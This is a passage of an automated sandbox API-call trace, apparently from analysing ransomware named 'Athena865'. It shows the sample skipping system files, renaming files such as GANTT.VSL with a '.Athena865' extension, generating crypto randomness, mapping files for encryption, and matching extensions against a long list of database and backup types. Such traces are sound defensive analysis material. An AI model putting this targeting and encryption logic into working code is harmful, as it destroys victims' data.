lpString2="..") returned 1 [0140.822] lstrcmpiW (lpString1="GANTT.VSL", lpString2="windows") returned -1 [0140.822] lstrcmpiW (lpString1="GANTT.VSL", lpString2="bootmgr") returned 1 [0140.822] lstrcmpiW (lpString1="GANTT.VSL", lpString2="temp") returned -1 [0140.822] lstrcmpiW (lpString1="GANTT.VSL", lpString2="pagefile.sys") returned -1 [0140.822] lstrcmpiW (lpString1="GANTT.VSL", lpString2="boot") returned 1 [0140.822] lstrcmpiW (lpString1="GANTT.VSL", lpString2="ids.txt") returned -1 [0140.822] lstrcmpiW (lpString1="GANTT.VSL", lpString2="ntuser.dat") returned -1 [0140.822] lstrcmpiW (lpString1="GANTT.VSL", lpString2="perflogs") returned -1 [0140.822] lstrcmpiW (lpString1="GANTT.VSL", lpString2="MSBuild") returned -1 [0140.822] lstrlenW (lpString="GANTT.VSL") returned 9 [0140.822] lstrcpyW (in: lpString1=0x241e8a8, lpString2="GANTT.VSL" | out: lpString1="GANTT.VSL") returned="GANTT.VSL" [0140.822] lstrlenW (lpString="GANTT.VSL") returned 9 [0140.822] lstrlenW (lpString="Athena865") returned 9 [0140.822] lstrlenW (lpString=".dll") returned 4 [0140.822] lstrcmpiW (lpString1="GANTT.VSL", lpString2=".dll") returned 1 [0140.822] lstrlenW (lpString=".lnk") returned 4 [0140.822] lstrcmpiW (lpString1="GANTT.VSL", lpString2=".lnk") returned 1 [0140.822] lstrlenW (lpString=".ini") returned 4 [0140.822] lstrcmpiW (lpString1="GANTT.VSL", lpString2=".ini") returned 1 [0140.822] lstrlenW (lpString=".sys") returned 4 [0140.822] lstrcmpiW (lpString1="GANTT.VSL", lpString2=".sys") returned 1 [0140.822] lstrlenW (lpString="GANTT.VSL") returned 9 [0140.823] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL.Athena865") returned 67 [0140.823] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.vsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.vsl.athena865"), dwFlags=0x1) returned 1 [0140.825] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.vsl.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0140.825] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=320880) returned 1 [0140.825] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0140.825] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0140.825] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54edd0 [0140.825] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ee58) returned 1 [0140.826] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0140.826] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0140.826] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4e870, lpName=0x0) returned 0x154 [0140.828] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4e870) returned 0x2bb0000 [0140.841] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ee58) returned 1 [0140.841] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0140.841] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0140.842] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0140.842] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0140.842] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0140.842] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0140.842] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0140.842] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0140.842] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0140.842] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0140.842] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0140.842] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0140.842] UnmapViewOfFile (lpBaseAddress=0x2bb0000) returned 1 [0140.845] CloseHandle (hObject=0x154) returned 1 [0140.845] CloseHandle (hObject=0x17c) returned 1 [0140.845] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0140.845] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54edd0 | out: hHeap=0x4f0000) returned 1 [0140.845] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0140.846] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74d63000, ftCreationTime.dwHighDateTime=0x1bbd3c6, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x74d63000, ftLastWriteTime.dwHighDateTime=0x1bbd3c6, nFileSizeHigh=0x0, nFileSizeLow=0x2da00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GR8GALRY.GRA", cAlternateFileName="")) returned 1 [0140.847] lstrcmpiW (lpString1="GR8GALRY.GRA", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0140.847] lstrcmpiW (lpString1="GR8GALRY.GRA", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0140.847] lstrcmpiW (lpString1="GR8GALRY.GRA", lpString2=".") returned 1 [0140.847] lstrcmpiW (lpString1="GR8GALRY.GRA", lpString2="..") returned 1 [0140.847] lstrcmpiW (lpString1="GR8GALRY.GRA", lpString2="windows") returned -1 [0140.847] lstrcmpiW (lpString1="GR8GALRY.GRA", lpString2="bootmgr") returned 1 [0140.847] lstrcmpiW (lpString1="GR8GALRY.GRA", lpString2="temp") returned -1 [0140.847] lstrcmpiW (lpString1="GR8GALRY.GRA", lpString2="pagefile.sys") returned -1 [0140.847] lstrcmpiW (lpString1="GR8GALRY.GRA", lpString2="boot") returned 1 [0140.847] lstrcmpiW (lpString1="GR8GALRY.GRA", lpString2="ids.txt") returned -1 [0140.847] lstrcmpiW (lpString1="GR8GALRY.GRA", lpString2="ntuser.dat") returned -1 [0140.847] lstrcmpiW (lpString1="GR8GALRY.GRA", lpString2="perflogs") returned -1 [0140.847] lstrcmpiW (lpString1="GR8GALRY.GRA", lpString2="MSBuild") returned -1 [0140.847] lstrlenW (lpString="GR8GALRY.GRA") returned 12 [0140.847] lstrcpyW (in: lpString1=0x241e8a8, lpString2="GR8GALRY.GRA" | out: lpString1="GR8GALRY.GRA") returned="GR8GALRY.GRA" [0140.847] lstrlenW (lpString="GR8GALRY.GRA") returned 12 [0140.847] lstrlenW (lpString="Athena865") returned 9 [0140.847] lstrcmpiW (lpString1="GALRY.GRA", lpString2="Athena865") returned 1 [0140.847] lstrlenW (lpString=".dll") returned 4 [0140.847] lstrcmpiW (lpString1="GR8GALRY.GRA", lpString2=".dll") returned 1 [0140.847] lstrlenW (lpString=".lnk") returned 4 [0140.847] lstrcmpiW (lpString1="GR8GALRY.GRA", lpString2=".lnk") returned 1 [0140.847] lstrlenW (lpString=".ini") returned 4 [0140.847] lstrcmpiW (lpString1="GR8GALRY.GRA", lpString2=".ini") returned 1 [0140.847] lstrlenW (lpString=".sys") returned 4 [0140.847] lstrcmpiW (lpString1="GR8GALRY.GRA", lpString2=".sys") returned 1 [0140.847] lstrlenW (lpString="GR8GALRY.GRA") returned 12 [0140.847] lstrlenW (lpString="bak") returned 3 [0140.847] lstrcmpiW (lpString1="GRA", lpString2="bak") returned 1 [0140.848] lstrlenW (lpString="ba_") returned 3 [0140.848] lstrcmpiW (lpString1="GRA", lpString2="ba_") returned 1 [0140.848] lstrlenW (lpString="dbb") returned 3 [0140.848] lstrcmpiW (lpString1="GRA", lpString2="dbb") returned 1 [0140.848] lstrlenW (lpString="vmdk") returned 4 [0140.848] lstrcmpiW (lpString1=".GRA", lpString2="vmdk") returned -1 [0140.848] lstrlenW (lpString="rar") returned 3 [0140.848] lstrcmpiW (lpString1="GRA", lpString2="rar") returned -1 [0140.848] lstrlenW (lpString="zip") returned 3 [0140.848] lstrcmpiW (lpString1="GRA", lpString2="zip") returned -1 [0140.848] lstrlenW (lpString="tgz") returned 3 [0140.848] lstrcmpiW (lpString1="GRA", lpString2="tgz") returned -1 [0140.848] lstrlenW (lpString="vbox") returned 4 [0140.848] lstrcmpiW (lpString1=".GRA", lpString2="vbox") returned -1 [0140.848] lstrlenW (lpString="vdi") returned 3 [0140.848] lstrcmpiW (lpString1="GRA", lpString2="vdi") returned -1 [0140.848] lstrlenW (lpString="vhd") returned 3 [0140.848] lstrcmpiW (lpString1="GRA", lpString2="vhd") returned -1 [0140.848] lstrlenW (lpString="vhdx") returned 4 [0140.848] lstrcmpiW (lpString1=".GRA", lpString2="vhdx") returned -1 [0140.848] lstrlenW (lpString="avhd") returned 4 [0140.848] lstrcmpiW (lpString1=".GRA", lpString2="avhd") returned -1 [0140.848] lstrlenW (lpString="db") returned 2 [0140.848] lstrcmpiW (lpString1="RA", lpString2="db") returned 1 [0140.848] lstrlenW (lpString="db2") returned 3 [0140.848] lstrcmpiW (lpString1="GRA", lpString2="db2") returned 1 [0140.848] lstrlenW (lpString="db3") returned 3 [0140.848] lstrcmpiW (lpString1="GRA", lpString2="db3") returned 1 [0140.849] lstrlenW (lpString="dbf") returned 3 [0140.849] lstrcmpiW (lpString1="GRA", lpString2="dbf") returned 1 [0140.849] lstrlenW (lpString="mdf") returned 3 [0140.849] lstrcmpiW (lpString1="GRA", lpString2="mdf") returned -1 [0140.849] lstrlenW (lpString="mdb") returned 3 [0140.849] lstrcmpiW (lpString1="GRA", lpString2="mdb") returned -1 [0140.849] lstrlenW (lpString="sql") returned 3 [0140.849] lstrcmpiW (lpString1="GRA", lpString2="sql") returned -1 [0140.849] lstrlenW (lpString="sqlite") returned 6 [0140.849] lstrcmpiW (lpString1="RY.GRA", lpString2="sqlite") returned -1 [0140.849] lstrlenW (lpString="sqlite3") returned 7 [0140.849] lstrcmpiW (lpString1="LRY.GRA", lpString2="sqlite3") returned -1 [0140.849] lstrlenW (lpString="sqlitedb") returned 8 [0140.849] lstrcmpiW (lpString1="ALRY.GRA", lpString2="sqlitedb") returned -1 [0140.849] lstrlenW (lpString="xml") returned 3 [0140.849] lstrcmpiW (lpString1="GRA", lpString2="xml") returned -1 [0140.849] lstrlenW (lpString="$er") returned 3 [0140.849] lstrcmpiW (lpString1="GRA", lpString2="$er") returned 1 [0140.849] lstrlenW (lpString="4dd") returned 3 [0140.849] lstrcmpiW (lpString1="GRA", lpString2="4dd") returned 1 [0140.849] lstrlenW (lpString="4dl") returned 3 [0140.849] lstrcmpiW (lpString1="GRA", lpString2="4dl") returned 1 [0140.849] lstrlenW (lpString="^^^") returned 3 [0140.849] lstrcmpiW (lpString1="GRA", lpString2="^^^") returned 1 [0140.849] lstrlenW (lpString="abs") returned 3 [0140.849] lstrcmpiW (lpString1="GRA", lpString2="abs") returned 1 [0140.849] lstrlenW (lpString="abx") returned 3 [0140.849] lstrcmpiW (lpString1="GRA", lpString2="abx") returned 1 [0140.849] lstrlenW (lpString="accdb") returned 5 [0140.849] lstrcmpiW (lpString1="Y.GRA", lpString2="accdb") returned 1 [0140.849] lstrlenW (lpString="accdc") returned 5 [0140.850] lstrcmpiW (lpString1="Y.GRA", lpString2="accdc") returned 1 [0140.850] lstrlenW (lpString="accde") returned 5 [0140.850] lstrcmpiW (lpString1="Y.GRA", lpString2="accde") returned 1 [0140.850] lstrlenW (lpString="accdr") returned 5 [0140.850] lstrcmpiW (lpString1="Y.GRA", lpString2="accdr") returned 1 [0140.850] lstrlenW (lpString="accdt") returned 5 [0140.850] lstrcmpiW (lpString1="Y.GRA", lpString2="accdt") returned 1 [0140.850] lstrlenW (lpString="accdw") returned 5 [0140.850] lstrcmpiW (lpString1="Y.GRA", lpString2="accdw") returned 1 [0140.850] lstrlenW (lpString="accft") returned 5 [0140.850] lstrcmpiW (lpString1="Y.GRA", lpString2="accft") returned 1 [0140.850] lstrlenW (lpString="adb") returned 3 [0140.850] lstrcmpiW (lpString1="GRA", lpString2="adb") returned 1 [0140.850] lstrlenW (lpString="adb") returned 3 [0140.850] lstrcmpiW (lpString1="GRA", lpString2="adb") returned 1 [0140.850] lstrlenW (lpString="ade") returned 3 [0140.850] lstrcmpiW (lpString1="GRA", lpString2="ade") returned 1 [0140.850] lstrlenW (lpString="adf") returned 3 [0140.850] lstrcmpiW (lpString1="GRA", lpString2="adf") returned 1 [0140.850] lstrlenW (lpString="adn") returned 3 [0140.850] lstrcmpiW (lpString1="GRA", lpString2="adn") returned 1 [0140.850] lstrlenW (lpString="adp") returned 3 [0140.850] lstrcmpiW (lpString1="GRA", lpString2="adp") returned 1 [0140.850] lstrlenW (lpString="alf") returned 3 [0140.850] lstrcmpiW (lpString1="GRA", lpString2="alf") returned 1 [0140.850] lstrlenW (lpString="ask") returned 3 [0140.850] lstrcmpiW (lpString1="GRA", lpString2="ask") returned 1 [0140.850] lstrlenW (lpString="btr") returned 3 [0140.850] lstrcmpiW (lpString1="GRA", lpString2="btr") returned 1 [0140.850] lstrlenW (lpString="cat") returned 3 [0140.851] lstrcmpiW (lpString1="GRA", lpString2="cat") returned 1 [0140.851] lstrlenW (lpString="cdb") returned 3 [0140.851] lstrcmpiW (lpString1="GRA", lpString2="cdb") returned 1 [0140.851] lstrlenW (lpString="ckp") returned 3 [0140.851] lstrcmpiW (lpString1="GRA", lpString2="ckp") returned 1 [0140.851] lstrlenW (lpString="cma") returned 3 [0140.851] lstrcmpiW (lpString1="GRA", lpString2="cma") returned 1 [0140.851] lstrlenW (lpString="cpd") returned 3 [0140.851] lstrcmpiW (lpString1="GRA", lpString2="cpd") returned 1 [0140.851] lstrlenW (lpString="dacpac") returned 6 [0140.851] lstrcmpiW (lpString1="RY.GRA", lpString2="dacpac") returned 1 [0140.851] lstrlenW (lpString="dad") returned 3 [0140.851] lstrcmpiW (lpString1="GRA", lpString2="dad") returned 1 [0140.851] lstrlenW (lpString="dadiagrams") returned 10 [0140.851] lstrcmpiW (lpString1="8GALRY.GRA", lpString2="dadiagrams") returned -1 [0140.851] lstrlenW (lpString="daschema") returned 8 [0140.851] lstrcmpiW (lpString1="ALRY.GRA", lpString2="daschema") returned -1 [0140.851] lstrlenW (lpString="db-journal") returned 10 [0140.851] lstrcmpiW (lpString1="8GALRY.GRA", lpString2="db-journal") returned -1 [0140.851] lstrlenW (lpString="db-shm") returned 6 [0140.851] lstrcmpiW (lpString1="RY.GRA", lpString2="db-shm") returned 1 [0140.851] lstrlenW (lpString="db-wal") returned 6 [0140.851] lstrcmpiW (lpString1="RY.GRA", lpString2="db-wal") returned 1 [0140.851] lstrlenW (lpString="dbc") returned 3 [0140.851] lstrcmpiW (lpString1="GRA", lpString2="dbc") returned 1 [0140.851] lstrlenW (lpString="dbs") returned 3 [0140.851] lstrcmpiW (lpString1="GRA", lpString2="dbs") returned 1 [0140.851] lstrlenW (lpString="dbt") returned 3 [0140.851] lstrcmpiW (lpString1="GRA", lpString2="dbt") returned 1 [0140.851] lstrlenW (lpString="dbv") returned 3 [0140.851] lstrcmpiW (lpString1="GRA", lpString2="dbv") returned 1 [0140.852] lstrlenW (lpString="dbx") returned 3 [0140.852] lstrcmpiW (lpString1="GRA", lpString2="dbx") returned 1 [0140.852] lstrlenW (lpString="dcb") returned 3 [0140.852] lstrcmpiW (lpString1="GRA", lpString2="dcb") returned 1 [0140.852] lstrlenW (lpString="dct") returned 3 [0140.852] lstrcmpiW (lpString1="GRA", lpString2="dct") returned 1 [0140.852] lstrlenW (lpString="dcx") returned 3 [0140.852] lstrcmpiW (lpString1="GRA", lpString2="dcx") returned 1 [0140.852] lstrlenW (lpString="ddl") returned 3 [0140.852] lstrcmpiW (lpString1="GRA", lpString2="ddl") returned 1 [0140.852] lstrlenW (lpString="dlis") returned 4 [0140.852] lstrcmpiW (lpString1=".GRA", lpString2="dlis") returned -1 [0140.852] lstrlenW (lpString="dp1") returned 3 [0140.852] lstrcmpiW (lpString1="GRA", lpString2="dp1") returned 1 [0140.852] lstrlenW (lpString="dqy") returned 3 [0140.852] lstrcmpiW (lpString1="GRA", lpString2="dqy") returned 1 [0140.852] lstrlenW (lpString="dsk") returned 3 [0140.852] lstrcmpiW (lpString1="GRA", lpString2="dsk") returned 1 [0140.852] lstrlenW (lpString="dsn") returned 3 [0140.852] lstrcmpiW (lpString1="GRA", lpString2="dsn") returned 1 [0140.852] lstrlenW (lpString="dtsx") returned 4 [0140.852] lstrcmpiW (lpString1=".GRA", lpString2="dtsx") returned -1 [0140.852] lstrlenW (lpString="dxl") returned 3 [0140.852] lstrcmpiW (lpString1="GRA", lpString2="dxl") returned 1 [0140.852] lstrlenW (lpString="eco") returned 3 [0140.852] lstrcmpiW (lpString1="GRA", lpString2="eco") returned 1 [0140.852] lstrlenW (lpString="ecx") returned 3 [0140.852] lstrcmpiW (lpString1="GRA", lpString2="ecx") returned 1 [0140.852] lstrlenW (lpString="edb") returned 3 [0140.852] lstrcmpiW (lpString1="GRA", lpString2="edb") returned 1 [0140.853] lstrlenW (lpString="epim") returned 4 [0140.853] lstrcmpiW (lpString1=".GRA", lpString2="epim") returned -1 [0140.853] lstrlenW (lpString="fcd") returned 3 [0140.853] lstrcmpiW (lpString1="GRA", lpString2="fcd") returned 1 [0140.853] lstrlenW (lpString="fdb") returned 3 [0140.853] lstrcmpiW (lpString1="GRA", lpString2="fdb") returned 1 [0140.853] lstrlenW (lpString="fic") returned 3 [0140.853] lstrcmpiW (lpString1="GRA", lpString2="fic") returned 1 [0140.853] lstrlenW (lpString="flexolibrary") returned 12 [0140.853] lstrlenW (lpString="fm5") returned 3 [0140.853] lstrcmpiW (lpString1="GRA", lpString2="fm5") returned 1 [0140.853] lstrlenW (lpString="fmp") returned 3 [0140.853] lstrcmpiW (lpString1="GRA", lpString2="fmp") returned 1 [0140.853] lstrlenW (lpString="fmp12") returned 5 [0140.853] lstrcmpiW (lpString1="Y.GRA", lpString2="fmp12") returned 1 [0140.853] lstrlenW (lpString="fmpsl") returned 5 [0140.853] lstrcmpiW (lpString1="Y.GRA", lpString2="fmpsl") returned 1 [0140.853] lstrlenW (lpString="fol") returned 3 [0140.853] lstrcmpiW (lpString1="GRA", lpString2="fol") returned 1 [0140.853] lstrlenW (lpString="fp3") returned 3 [0140.853] lstrcmpiW (lpString1="GRA", lpString2="fp3") returned 1 [0140.853] lstrlenW (lpString="fp4") returned 3 [0140.853] lstrcmpiW (lpString1="GRA", lpString2="fp4") returned 1 [0140.853] lstrlenW (lpString="fp5") returned 3 [0140.853] lstrcmpiW (lpString1="GRA", lpString2="fp5") returned 1 [0140.853] lstrlenW (lpString="fp7") returned 3 [0140.853] lstrcmpiW (lpString1="GRA", lpString2="fp7") returned 1 [0140.853] lstrlenW (lpString="fpt") returned 3 [0140.853] lstrcmpiW (lpString1="GRA", lpString2="fpt") returned 1 [0140.853] lstrlenW (lpString="frm") returned 3 [0140.853] lstrcmpiW (lpString1="GRA", lpString2="frm") returned 1 [0140.854] lstrlenW (lpString="gdb") returned 3 [0140.854] lstrcmpiW (lpString1="GRA", lpString2="gdb") returned 1 [0140.854] lstrlenW (lpString="gdb") returned 3 [0140.854] lstrcmpiW (lpString1="GRA", lpString2="gdb") returned 1 [0140.854] lstrlenW (lpString="grdb") returned 4 [0140.854] lstrcmpiW (lpString1=".GRA", lpString2="grdb") returned -1 [0140.854] lstrlenW (lpString="gwi") returned 3 [0140.854] lstrcmpiW (lpString1="GRA", lpString2="gwi") returned -1 [0140.854] lstrlenW (lpString="hdb") returned 3 [0140.854] lstrcmpiW (lpString1="GRA", lpString2="hdb") returned -1 [0140.854] lstrlenW (lpString="his") returned 3 [0140.854] lstrcmpiW (lpString1="GRA", lpString2="his") returned -1 [0140.854] lstrlenW (lpString="ib") returned 2 [0140.854] lstrcmpiW (lpString1="RA", lpString2="ib") returned 1 [0140.854] lstrlenW (lpString="idb") returned 3 [0140.854] lstrcmpiW (lpString1="GRA", lpString2="idb") returned -1 [0140.854] lstrlenW (lpString="ihx") returned 3 [0140.854] lstrcmpiW (lpString1="GRA", lpString2="ihx") returned -1 [0140.854] lstrlenW (lpString="itdb") returned 4 [0140.854] lstrcmpiW (lpString1=".GRA", lpString2="itdb") returned -1 [0140.854] lstrlenW (lpString="itw") returned 3 [0140.854] lstrcmpiW (lpString1="GRA", lpString2="itw") returned -1 [0140.855] lstrlenW (lpString="jet") returned 3 [0140.855] lstrcmpiW (lpString1="GRA", lpString2="jet") returned -1 [0140.855] lstrlenW (lpString="jtx") returned 3 [0140.855] lstrcmpiW (lpString1="GRA", lpString2="jtx") returned -1 [0140.855] lstrlenW (lpString="kdb") returned 3 [0140.855] lstrcmpiW (lpString1="GRA", lpString2="kdb") returned -1 [0140.855] lstrlenW (lpString="kexi") returned 4 [0140.855] lstrcmpiW (lpString1=".GRA", lpString2="kexi") returned -1 [0140.855] lstrlenW (lpString="kexic") returned 5 [0140.855] lstrcmpiW (lpString1="Y.GRA", lpString2="kexic") returned 1 [0140.855] lstrlenW (lpString="kexis") returned 5 [0140.855] lstrcmpiW (lpString1="Y.GRA", lpString2="kexis") returned 1 [0140.855] lstrlenW (lpString="lgc") returned 3 [0140.855] lstrcmpiW (lpString1="GRA", lpString2="lgc") returned -1 [0140.855] lstrlenW (lpString="lwx") returned 3 [0140.855] lstrcmpiW (lpString1="GRA", lpString2="lwx") returned -1 [0140.855] lstrlenW (lpString="maf") returned 3 [0140.855] lstrcmpiW (lpString1="GRA", lpString2="maf") returned -1 [0140.855] lstrlenW (lpString="maq") returned 3 [0140.855] lstrcmpiW (lpString1="GRA", lpString2="maq") returned -1 [0140.855] lstrlenW (lpString="mar") returned 3 [0140.855] lstrcmpiW (lpString1="GRA", lpString2="mar") returned -1 [0140.855] lstrlenW (lpString="marshal") returned 7 [0140.855] lstrcmpiW (lpString1="LRY.GRA", lpString2="marshal") returned -1 [0140.855] lstrlenW (lpString="mas") returned 3 [0140.855] lstrcmpiW (lpString1="GRA", lpString2="mas") returned -1 [0140.855] lstrlenW (lpString="mav") returned 3 [0140.855] lstrcmpiW (lpString1="GRA", lpString2="mav") returned -1 [0140.855] lstrlenW (lpString="maw") returned 3 [0140.856] lstrcmpiW (lpString1="GRA", lpString2="maw") returned -1 [0140.856] lstrlenW (lpString="mdbhtml") returned 7 [0140.856] lstrcmpiW (lpString1="LRY.GRA", lpString2="mdbhtml") returned -1 [0140.856] lstrlenW (lpString="mdn") returned 3 [0140.856] lstrcmpiW (lpString1="GRA", lpString2="mdn") returned -1 [0140.856] lstrlenW (lpString="mdt") returned 3 [0140.856] lstrcmpiW (lpString1="GRA", lpString2="mdt") returned -1 [0140.856] lstrlenW (lpString="mfd") returned 3 [0140.856] lstrcmpiW (lpString1="GRA", lpString2="mfd") returned -1 [0140.856] lstrlenW (lpString="mpd") returned 3 [0140.856] lstrcmpiW (lpString1="GRA", lpString2="mpd") returned -1 [0140.856] lstrlenW (lpString="mrg") returned 3 [0140.856] lstrcmpiW (lpString1="GRA", lpString2="mrg") returned -1 [0140.856] lstrlenW (lpString="mud") returned 3 [0140.856] lstrcmpiW (lpString1="GRA", lpString2="mud") returned -1 [0140.856] lstrlenW (lpString="mwb") returned 3 [0140.856] lstrcmpiW (lpString1="GRA", lpString2="mwb") returned -1 [0140.856] lstrlenW (lpString="myd") returned 3 [0140.856] lstrcmpiW (lpString1="GRA", lpString2="myd") returned -1 [0140.856] lstrlenW (lpString="ndf") returned 3 [0140.856] lstrcmpiW (lpString1="GRA", lpString2="ndf") returned -1 [0140.856] lstrlenW (lpString="nnt") returned 3 [0140.856] lstrcmpiW (lpString1="GRA", lpString2="nnt") returned -1 [0140.856] lstrlenW (lpString="nrmlib") returned 6 [0140.856] lstrcmpiW (lpString1="RY.GRA", lpString2="nrmlib") returned 1 [0140.856] lstrlenW (lpString="ns2") returned 3 [0140.856] lstrcmpiW (lpString1="GRA", lpString2="ns2") returned -1 [0140.856] lstrlenW (lpString="ns3") returned 3 [0140.856] lstrcmpiW (lpString1="GRA", lpString2="ns3") returned -1 [0140.856] lstrlenW (lpString="ns4") returned 3 [0140.857] lstrcmpiW (lpString1="GRA", lpString2="ns4") returned -1 [0140.857] lstrlenW (lpString="nsf") returned 3 [0140.857] lstrcmpiW (lpString1="GRA", lpString2="nsf") returned -1 [0140.857] lstrlenW (lpString="nv") returned 2 [0140.857] lstrcmpiW (lpString1="RA", lpString2="nv") returned 1 [0140.857] lstrlenW (lpString="nv2") returned 3 [0140.857] lstrcmpiW (lpString1="GRA", lpString2="nv2") returned -1 [0140.857] lstrlenW (lpString="nwdb") returned 4 [0140.857] lstrcmpiW (lpString1=".GRA", lpString2="nwdb") returned -1 [0140.857] lstrlenW (lpString="nyf") returned 3 [0140.857] lstrcmpiW (lpString1="GRA", lpString2="nyf") returned -1 [0140.857] lstrlenW (lpString="odb") returned 3 [0140.857] lstrcmpiW (lpString1="GRA", lpString2="odb") returned -1 [0140.857] lstrlenW (lpString="odb") returned 3 [0140.857] lstrcmpiW (lpString1="GRA", lpString2="odb") returned -1 [0140.857] lstrlenW (lpString="oqy") returned 3 [0140.857] lstrcmpiW (lpString1="GRA", lpString2="oqy") returned -1 [0140.857] lstrlenW (lpString="ora") returned 3 [0140.857] lstrcmpiW (lpString1="GRA", lpString2="ora") returned -1 [0140.857] lstrlenW (lpString="orx") returned 3 [0140.857] lstrcmpiW (lpString1="GRA", lpString2="orx") returned -1 [0140.857] lstrlenW (lpString="owc") returned 3 [0140.857] lstrcmpiW (lpString1="GRA", lpString2="owc") returned -1 [0140.857] lstrlenW (lpString="p96") returned 3 [0140.857] lstrcmpiW (lpString1="GRA", lpString2="p96") returned -1 [0140.857] lstrlenW (lpString="p97") returned 3 [0140.857] lstrcmpiW (lpString1="GRA", lpString2="p97") returned -1 [0140.857] lstrlenW (lpString="pan") returned 3 [0140.857] lstrcmpiW (lpString1="GRA", lpString2="pan") returned -1 [0140.857] lstrlenW (lpString="pdb") returned 3 [0140.857] lstrcmpiW (lpString1="GRA", lpString2="pdb") returned -1 [0140.858] lstrlenW (lpString="pdm") returned 3 [0140.858] lstrcmpiW (lpString1="GRA", lpString2="pdm") returned -1 [0140.858] lstrlenW (lpString="pnz") returned 3 [0140.858] lstrcmpiW (lpString1="GRA", lpString2="pnz") returned -1 [0140.858] lstrlenW (lpString="qry") returned 3 [0140.858] lstrcmpiW (lpString1="GRA", lpString2="qry") returned -1 [0140.858] lstrlenW (lpString="qvd") returned 3 [0140.858] lstrcmpiW (lpString1="GRA", lpString2="qvd") returned -1 [0140.858] lstrlenW (lpString="rbf") returned 3 [0140.858] lstrcmpiW (lpString1="GRA", lpString2="rbf") returned -1 [0140.858] lstrlenW (lpString="rctd") returned 4 [0140.858] lstrcmpiW (lpString1=".GRA", lpString2="rctd") returned -1 [0140.858] lstrlenW (lpString="rod") returned 3 [0140.858] lstrcmpiW (lpString1="GRA", lpString2="rod") returned -1 [0140.858] lstrlenW (lpString="rodx") returned 4 [0140.858] lstrcmpiW (lpString1=".GRA", lpString2="rodx") returned -1 [0140.858] lstrlenW (lpString="rpd") returned 3 [0140.858] lstrcmpiW (lpString1="GRA", lpString2="rpd") returned -1 [0140.858] lstrlenW (lpString="rsd") returned 3 [0140.858] lstrcmpiW (lpString1="GRA", lpString2="rsd") returned -1 [0140.858] lstrlenW (lpString="sas7bdat") returned 8 [0140.858] lstrcmpiW (lpString1="ALRY.GRA", lpString2="sas7bdat") returned -1 [0140.858] lstrlenW (lpString="sbf") returned 3 [0140.858] lstrcmpiW (lpString1="GRA", lpString2="sbf") returned -1 [0140.858] lstrlenW (lpString="scx") returned 3 [0140.858] lstrcmpiW (lpString1="GRA", lpString2="scx") returned -1 [0140.858] lstrlenW (lpString="sdb") returned 3 [0140.858] 